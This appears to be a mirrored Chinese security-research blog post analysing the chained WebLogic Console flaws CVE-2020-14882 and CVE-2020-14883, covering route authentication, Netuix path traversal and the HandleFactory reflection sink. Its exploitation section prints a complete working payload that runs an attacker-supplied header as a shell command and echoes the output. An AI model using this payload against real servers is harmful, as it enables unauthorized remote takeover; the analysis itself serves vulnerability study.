

WebLogic one GET request RCE分析(CVE-2020-14882+CVE-2020-14883)
source link: https://lucifaer.com/2020/11/25/WebLogic%20one%20GET%20request%20RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-14882+CVE-2020-14883%EF%BC%89/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

该漏洞其实是月初就分析完的,但是因为各种事情没有时间将其总结成文本所以拖到今天。本文主要是和@Hu3sky共同分析结果的记录,同时也是对CVE-2020-14882:Weblogic Console 权限绕过深入解析的一些补充。
这个漏洞想要挖掘出来真的挺难的,其利用的过程相当精彩,值得学习。
0x01 漏洞概述
Weblogic官方在10月补丁中修复了CVE-2020-14882
及CVE-2020-14883
两个漏洞,这两个漏洞都位于Weblogic Console
及控制台组件中,两个漏洞组合利用允许远程攻击者通过http
进行网络请求,从而攻击Weblogic服务器,最终远程攻击者可以利用该漏洞在未授权的情况下完全接管Weblogic服务器。
在经过diff后,可以定位到漏洞触发点:
CVE-2020-14883:com.bea.console.handles.HandleFactory
CVE-2020-14882:com.bea.console.utils.MBeanUtilsInitSingleFileServlet
这里先把结论放出来:
- CVE-2020-14882:这个漏洞起到的作用可以简单理解为目录穿越使
Netuix
渲染后台页面 - CVE-2020-14883:为登录后的一处代码执行点
0x02 漏洞分析
该漏洞分为三部分:
- Netuix框架完成执行流转换
- HandleFactory完成代码执行
前两部分为CVE-2020-14882
,后面一部分为CVE-2020-14883
。本文将从上而下将三部分进行串流分析,主要采用动态跟踪。
2.1 路由鉴权
在具体分析路由鉴权前,需要先要寻找一下处理路由的servlet是哪个。
2.1.1 寻找处理路由的servlet
Weblogicconsole
组件对应着Weblogic Server启动后的管理平台(即/console
路由所对应的组件),其对应着一个webapp
,所以想要理清路由所对应的servlet
映射关系,就需要去看一下相关的配置文件。配置文件为wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml
。
正常登录后的路由情况为:
会访问一个console.portal
文件,对应在web.xml
中看一下相关的路由处理情况:
可以看到对应的servlet
为AppManagerServlet
:
所以先在AppManagerServlet
下断调试一下路径鉴权或者说是权限鉴定的流程。
跟进一下初始化流程:
1
2
3
weblogic.servlet.AsyncInitServlet#init ->
weblogic.servlet.AsyncInitServlet#initDelegate ->
weblogic.servlet.AsyncInitServlet#createDelegate
这里的this.SERVLET_CLASS_NAME
也就是xml中的:
所以初始化过程实际上是实例化了com.bea.console.utils.MBeanUtilsInitSingleFileServlet
,并调用其init()
方法,跟进看一下其所对应的处理方法:
注意红框所标识的内容,oracle针对CVE-2020-14882
的修补也是在这里针对url
加了一个黑名单,并过了一遍黑名单:
继续跟进父类SingleFileServlet
的server
中:
在完成AppContext
初始化后,即进入真的处理请求的UIServlet
:
在此处完成后续的请求处理。
2.1.2 路由映射及路由权限校验
在这里我们先不向后跟进,在此处下个断点向上跟踪一下,看一下Weblogic路由映射及路由鉴权在哪里触发。调用栈如下:
可以看到在weblogic.servlet.internal.WebAppServletContext
中完成的权限校验。跟进具体看一下:
在weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
方法的流程中会调用checkAccess
方法来进行权限校验,跟进看一下:
当首次请求进入后checkAllResources
变量为false
,所以跟进getConstraint
方法:
这里的constraintsMap
中保存着一份路由表:
这份路由表对应的是web.xml
中的security-constraint
:
注意在针对/
的路由处理是限定了需要经过认证的,而针对:
/images/*
/common/*
/css/*
路径的访问是没有认证约束的。对应到代码中,就是说当访问的路由符合该路由映射表中的情况时,将根据配置设置rcForAllMethods
变量,也就是最终返回的resourceConstraint
:
这里的unrestricted
变量代表该路由是否为非受限路由,在后续鉴权时该变量会起关键性作用。当请求的路由是路由表中的路由时,该变量都为true
。当完成resourceConstraint
设置后,就会进入isAuthorized
方法进行权限鉴定:
这里将执行流转换到CertSecurityModule#checkUserPerm
方法中:
首先会根据session
来确定是否需要重新登录,之后会判断是否为指定路由,如果是未指定的路由,则保护资源,由于我们这里访问的路由为/css
,在指定的路由表中,所以这里是false
。重点看hasPermission
方法,这里会用到resourceConstraint
中的unrestricted
:
这里首先会判断当前的账户是否为Admin账户,当前应用是否为内部引用等,若都不满足,则会判断是否设置了完整安全路由
选项,这里是false
。接下来会判断该路由是否为非受限的路由,如果是,则返回true。由于我们根据路由表返回设置的unrestricted
变量为true
,即为非受限的路由,所以这样就通过了路由鉴权,导致了未授权访问相关资源。
2.1.3 请求分派
当完成了路由鉴权后,会根据web.xml
中的设置,将访问的路由映射到相应的servlet进行请求处理:
因为我们后续的流程在UIServlet
中进行,所以可以用于绕过路由鉴权的路由即为:
/css/*
/images/*
当checkAccess
方法返回为true
后,会根据配置返回对应的servlet并调用service
方法。
首先会初始化ServletInvocationAction
对象:
从subject.run(action)
一路向下跟,在weblogic.security.acl.internal.AuthenticatedSubject#doAs
中调用action
的run
方法,即跟进ServletInvocationAction#run
:
在调用execute
方法前,会首先判断是否存在拦截器及请求监听器,若存在则执行对应的拦截器执行链,否则执行stub.execute()
方法。跟进stub.execute()
方法,即weblogic.servlet.internal.ServletStubImpl#execute
:
这里会调用getServlet()
方法返回对应的servlet
:
2.1.3 总结
从上面的分析可知,想要访问非受限的资源,就需要构造符合路由表中的路由。从此我们也可以看出这里并非一个权限绕过操作,而是一个正常的访问非受限资源(如css文件这类资源)的操作,想要搞清楚为什么能因此而触发一个登陆后代码执行操作,就需要跟进UIServlet
的具体处理流程中。
2.2 Netuix框架完成执行流转换
weblogic.servlet.AsyncInitServlet
为处理Netuix
相关请求的servlet
,根据2.1.1中的分析,我们可以知道其真实的处理逻辑是在com.bea.netuix.servlets.manager.UIServlet
中完成的:
对于UIServlet
来说,处理GET请求的逻辑最终也会在doPost
方法中。上图红框中所标明的两处即为UIServlet
的核心功能:
- 建立
UIContext
,或者说是通过解析.portal
文件建立渲染模板的上下文 - 完成模板渲染的生命周期
接下来也会以这两点为核心具体叙述Netuix框架是如何完成执行流的转换的。
2.2.1 建立UIContext
建立UIContext
的主要流程在createUIContext
方法中:
红框所标注的两行为关键流程。首先跟进UIContextFactory.createUIContext
,这里主要完成了UIContext
的初始化:
在执行setServletRequest
方法时,会根据请求的参数对postback
成员变量进行设置:
可以看到:
- 请求类型为POST请求,会将
postback
设置为true
- 存在
_nfpb
参数的GET请求,会根据参数的值设置postback
的值
postback
变量在后续执行UIContext
生命周期时会对流程产生影响。这里先记一下。
完成UIContext
的初始化过程后,接下来就是解析.portal
文件,将解析结果填充到UIContext
中。这一部分的流程在getTree()
方法中:
这里有一个需要注意的点,这里会对请求的路径进行二次URLDecode,这也就是为什么构造的poc是需要二次URL编码的原因。
跟进processStream()
方法,具体的解析逻辑就在这里:
可以看到经过二次URLDecode后的请求路径在此造成了目录穿越的效果。
com.bea.netuix.servlets.manager.SingleFileProcessor#getMergedControlFromFile
中首先会初始化SAX解析器,然后根据传入的文件路径获取到对应的.portal
文件,并利用SAX解析器解析该.portal
文件:
getMergedControlFromFile()
方法最终会调用getSourceFromDisk()
方法根据传入的路径获取consoleapp/webapp
目录下相应的文件即:
- console.portal
- consolejndi.portal
在利用SAX解析器解析完该portal
文件后,生成语法树,也就是getTree()
返回的ControlTreeRoot
对象,并将语法树置入UIContext
中。
至此就完成了UIContext
的初始化流程。
2.2.2 完成模板渲染的生命周期
在完成了UIContext
初始化流程之后,便会调用runLifecycle()
方法运行生命周期,开始根据请求参数完成模板渲染。
跟进runLifecycle()
:
在com.bea.netuix.nf.Lifecycle#run
中,需要注意这个条件判断,这里会影响到后面的流程调用。
根据2.2.1中的分析我们知道当GET请求存在_nfpb
参数时,会根据参数的值设置postback
的值,outbound
值默认为false
。
而postback
值只会影响是否会执行runInbound()
流程。在具体跟踪了runInbound()
流程后,可以发现其处理逻辑是相同的:
而关键点就在其VisitorType
是不同的,这会在processLifecycles()
流程中影响具体的节点遍历顺序:
在com.bea.netuix.nf.Lifecycle
中,我们可以看到inbound
与outbound
的区别:
各VisitorType
具体配置为:
所以由postback
会衍生出两种不同的执行流。
2.2.3 Netuix生命周期及控件间的关系
在具体跟进两种执行流前,首先介绍一下Netuix
的解析流程,在其官方介绍页面上有对生命周期方法执行顺序及netuix控件解析流程的详细描述,这里将其内容简要总结一下。
Netuix
控件树的生命周期其实就是按顺序所执行的一组方法,这组方法的执行顺序如下:
1
2
3
4
5
6
7
8
init()
loadState()
handlePostbackData()
raiseChangeEvents()
preRender()
saveState()
render()
dispose()
其中的方法与上面所看到的inbound
与outbound
相同。这些方法在节点间是以深度优先的方式执行,即按照顺序会执行所有控件的init()
,之后才会重新遍历执行loadState()
方法。
在说完了每个控件的生命周期后,再来说一下控件间的关系:
根据这张表我们来对应看一下consolejndi.portal
:
红框所标注的区域是完美符合上表所描述的关系的。向上寻找Portlet
,看加载了哪些外部控件:
跟进该文件:
这里调用了strutsContent
控件,同时标注了具体的action
为MessagesAction
。可以通过该action
在struts-config.xml
中找到其所对应的类:
2.2.4 总结
通过上面的分析,可以看到Netuix
将执行流从模板渲染转换到其各个组件的渲染之中。所以最终触发代码执行的只和组件的生命周期有关,即只和节点有关。
在经过分析后,我列举三个最通用的组件:
strutsConent
Page
Portlet
由于无论postback
为何值,最终都会执行outbound
流程,所以接下来对于组件生命周期的分析,我都以outbound
流程来说明。
2.3 条条大路通罗马——HandleFactory完成代码执行
根据上面的分析,outbound
的生命周期为:
1
2
3
preRender()
saveState()
render()
所以首先执行的方法是preRender
,跟进看一下com.bea.netuix.nf.ControlTreeWalker#walk
:
ControlVisitor visit = root.getVisitorForLifecycle(vt);
这里将获取ControlLifecycle.preRenderVisitor
以深度优先的方式遍历所有节点,并调用visit()
方法。跟进看一下com.bea.netuix.nf.ControlVisitor#visit
:
就如上面所说,关键逻辑还是调用传入控件的preRender()
方法。接下来就会按照2.2.3中的所介绍的控件间关系进行深度遍历,在遍历到不同组件时会利用不同的方式触发代码执行流程。
2.3.1 strutsContent
以consolejndi.portal
为例,当节点为portletInstance
时,会触发外部组件调用,及会跟进该文件,解析Content
节点:
此处处理的节点为strutsContent
,即control
为strutsContent
。跟进com.bea.netuix.servlets.controls.content.StrutsContent#preRender
方法:
没有相关的方法,跟进其父类com.bea.netuix.servlets.controls.content.NetuiContent#preRender
:
this.getScopedContentStub()
调用栈如下:
1
2
3
com.bea.netuix.servlets.controls.content.StrutsContent#getScopedContentStub ->
com.bea.netuix.servlets.controls.content.StrutsContent.StrutsContentUrlRewriter初始化 ->
com.bea.portlet.adapter.scopedcontent.AdapterFactory#getInstance(com.bea.struts.adapter.util.rewriter.StrutsURLRewriter)
最终通过适配工厂返回一个StrutsStubImpl
:
所以跟进com.bea.portlet.adapter.scopedcontent.StrutsStubImpl#render
:
在renderInternal()
方法中,完成内部渲染的工作,包括:
- 初始化
Action
及其servlet,并设置解析器,最终调用executeAction
执行 - 初始化并设置请求监听器,完成请求接收
跟进executeAction()
方法:
这里会调用PageFlowUtils#strutsLookup
方法,该方法最终将会触发负责处理针对
Action请求的servlet的doGet方法
,调用链如下:
1
2
3
4
5
6
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#strutsLookup
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#getInstance
com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils#instantiateStrutsDelegate
com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate#strutsLookupInternal
org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[])
org.apache.beehive.netui.pageflow.PageFlowUtils#strutsLookup(javax.servlet.ServletContext, javax.servlet.ServletRequest, javax.servlet.http.HttpServletResponse, java.lang.String, java.lang.String[], boolean)
这里有两个点需要注意,第一个点是获取ActionServlet
的过程,这一部分其实并不需要去跟踪代码,可以通过直接看web.xml
找到:
关于AsyncInitServlet
的初始化流程在2.1.1中有详细的跟踪,这里就不赘述了。这里可以看出真正的处理逻辑在com.bea.console.internal.ConsoleActionServlet
中,直接跟进看com.bea.console.internal.ConsoleActionServlet#doGet
:
一路向下跟进,调用栈如下:
1
2
3
4
5
6
7
8
9
10
org.apache.struts.action.ActionServlet#process ->
com.bea.console.internal.ConsoleActionServlet#process ->
org.apache.beehive.netui.pageflow.PageFlowActionServlet#process ->
org.apache.beehive.netui.pageflow.AutoRegisterActionServlet#process ->
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#process ->
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor#processInternal ->
org.apache.struts.action.RequestProcessor#process ->
com.bea.console.internal.ConsolePageFlowRequestProcessor#processActionPerform ->
com.bea.console.utils.HandleUtils#getHandleContextFromRequest ->
com.bea.console.utils.HandleUtils#handleFromQueryString
重点看一下com.bea.console.utils.HandleUtils#handleFromQueryString
:
首先会将请求的参数进行解析,并映射到Map中,之后遍历所有的参数,当参数以handle
结尾,则将其转换为Handle
类型的对象。所以跟踪流程到com.bea.console.handles.HandleConverter#convert
:
这里会将请求中以handle
结尾的参数值作为local
,直接传入HandleFactory.getHandle()
方法中,在该方法中将传入的参数值进行处理,直接完成反射实例化操作:
2.3.2 page
当解析Page
组件时,control.preRender()
实际将会调用com.bea.netuix.servlets.controls.page.Page#preRender
:
接下来就是一路向上,调用父类的preRender
方法,调用栈如下:
1
2
3
4
com.bea.netuix.servlets.controls.page.Page#preRender ->
com.bea.netuix.servlets.controls.window.Window#preRender ->
com.bea.netuix.servlets.controls.AdministeredBackableControl#preRender ->
com.bea.netuix.servlets.controls.Backable.Impl#preRender
在com.bea.netuix.servlets.controls.Backable.Impl#preRender
中将会获取jspbacking
,并调用其preRender
方法:
以consolejndi.portal
为例,其中的一个page
组件描述如下:
此处会根据book
组件中所定义的title
获取其backingFile
的具体引用,在这里为com.bea.console.utils.JndiViewerBackingFile
:
接下来的调用栈为:
1
2
3
4
com.bea.console.utils.GeneralBackingFile#preRender ->
com.bea.console.utils.GeneralBackingFile#localizeTitle(com.bea.netuix.servlets.controls.window.backing.WindowBackingContext, javax.servlet.http.HttpServletRequest) ->
com.bea.console.utils.GeneralBackingFile#getDisplayName ->
com.bea.console.utils.HandleUtils#getHandleContextFromRequest
调用至此已经和2.3.1中提到的调用路径相同了,在此不再赘述。
2.3.3 portlet
portlet
组件执行流与page
组件基本完全相同,唯一区别点在于backingFile
不同。以consolejndi.portal
为例:
引用外部组件,跟进jnditree.portlet
:
跟进看一下:
调用父类com.bea.console.utils.PortletBackingFile#preRender
,同样,都会调用父类的localizeTitle()
方法:
这里也会调用com.bea.console.utils.GeneralBackingFile#localizeTitle
,之后的流程与2.3.2中的流程完全相同。
2.3.4 总结
根据以上分析,我们可以看到除了strutsContent
外,其他几种组件的应用方式都比较类似,关键点为两个:
- 组件的
preRender
流程中会调用到Backable#preRender
方法 backingFile
为GeneralBackingFile
子类,同时其preRender
方法会调用父类localizeTitle
方法
想要寻找其他的组件可以看一下继承树:
红框所标注的即为2.3.2与2.3.3中所分析到的调用过程。
0x03 漏洞利用
经过0x02的分析,我们不难看出该漏洞和其他传统的越权漏洞是有很大区别的:
- 所谓的认证绕过是通过请求原本无需认证的资源路径
- 在1的基础上利用
../
造成目录穿越,使Netuix
在初始化语法树时读取对应的后台模板文件 - 在
Netuix
生命周期中通过组件对应的处理流程触发Handle
流程 - 组件处理流程中会将请求中以
handle
结尾的参数的值作为参数传入HandleFactory#getHandle
方法中,完成反射调用
所以利用方式也显而易见,这里利用@77ca1k1k1的poc做展示:
1
com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')
0x04 Reference
https://docs.oracle.com/cd/E13218_01/wlp/docs81/whitepapers/netix/body.html
@77ca1k1k1关于回显的研究
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK